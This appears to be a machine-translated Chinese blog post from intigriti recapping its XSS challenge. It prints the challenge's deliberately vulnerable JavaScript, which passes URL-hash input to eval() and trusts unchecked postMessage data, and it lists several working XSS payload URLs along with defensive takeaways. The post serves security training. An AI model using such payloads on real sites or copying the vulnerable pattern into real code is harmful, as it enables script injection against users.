幾天前我們發佈了一個XSS挑戰。在發出這條微博的幾個小時後,我們注意到了它的成功。囙此,我們决定與可愛的社區分享一篇博文。
對於那些仍想嘗試的人來說,挑戰仍然在!=>https://challenge.intigriti.io<=如果已經不可用或您想自己主持挑戰,可以在下麵找到程式碼。
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
解決方案
我們可以寫一個詳細的解釋如何解决這個挑戰,但我們不能比多明尼克和dphoenixx做得更好。兩位研究人員分享了一篇寫得很好、非常詳細的博文。你可以在下麵找到連結。
多明尼克解
dphoenix溶液
想知道如何通過不同的管道解决這個挑戰?看看下麵共亯的有效載荷。
https://challenge.intigriti.io/#data:text/html;var%20text=text;var%20html=html;alert(xss)//;base64,PGh0bWw+PGJvZHkgb25sb2FkPXhzcygpPjxzY3JpcHQ+IGZ1bmN0aW9uIHhzcygpIHsgcGFyZW50LnBvc3RNZXNzYWdlKHsneHNzJzogIm4wdG0zIn0sICcqJyk7IH07IDwvc2NyaXB0Pg==
BY N0TM3
By Karel U Origin
https://challenge.intigriti.io/#data:text/html;var%20text=alert%28%29;var%20html;base64,YWE8c3ZnL29ubG9hZD0idG9wLnBvc3RNZXNzYWdlKDAsJyonKSI+11
特爾詹克。
https://challenge.intigriti.io/#data:text/html,alert(document.domain);//%253csvg%20onload=%22parent.postMessage({text:4,html:1},'*');%22%253e
作者:daudmalik06
https://challenge.intigriti.io/#data:text/html,alert(document.domain)//%253C%2553cript%253Ewindow.parent.postMessage({text:%22%22,html:%22%22}%2C%20%22*%22)%253C%2F%2553cript%253E
作者:
我們看到的最常見的錯誤之一是人們在iframe中執行警報框。但這不是有效的解決方案,因為javascript不是在challenge.intigriti.io上觸發的,而是在iframe本身(domain=null)中觸發的。
提示概述
在挑戰中分享的四個技巧:
第一個提示:“都是關於那個基地,關於那個基地”。
第二個提示:“定義未定義的”。
第三個提示:“你不需要任何外部資源。”
第四個提示:“找魔咒。”
關鍵外賣
- 不要盲目地使用有效載荷的單詞錶,要瞭解你在做什麼。逐步完成挑戰,並使用瀏覽器中內寘的調試器工具。
- 不信任用戶輸入。輸入驗證是關鍵!
- 看到消息事件了嗎?一定要查一下產地?
- 避免使用eval()。
- 不要放弃。耐心是關鍵。
謝謝您!
特別感謝@filedescriptor和@edoverflow强化了我們的挑戰!
感謝社會各界參與此次挑戰,並祝賀90比特攻克挑戰的研究人員。向贏家fenrir大聲喊叫,他在我們的平臺上贏得了打嗝許可證、抽籤包和私人邀請。
想要更多嗎?
在twitter上關注我們,別忘了訂閱我們的每週錯誤位元組(Bug Bytes),這是一份由Pentester Land策劃的新聞稿,由intigriti提供支援,包含更多的評論和有用的資源。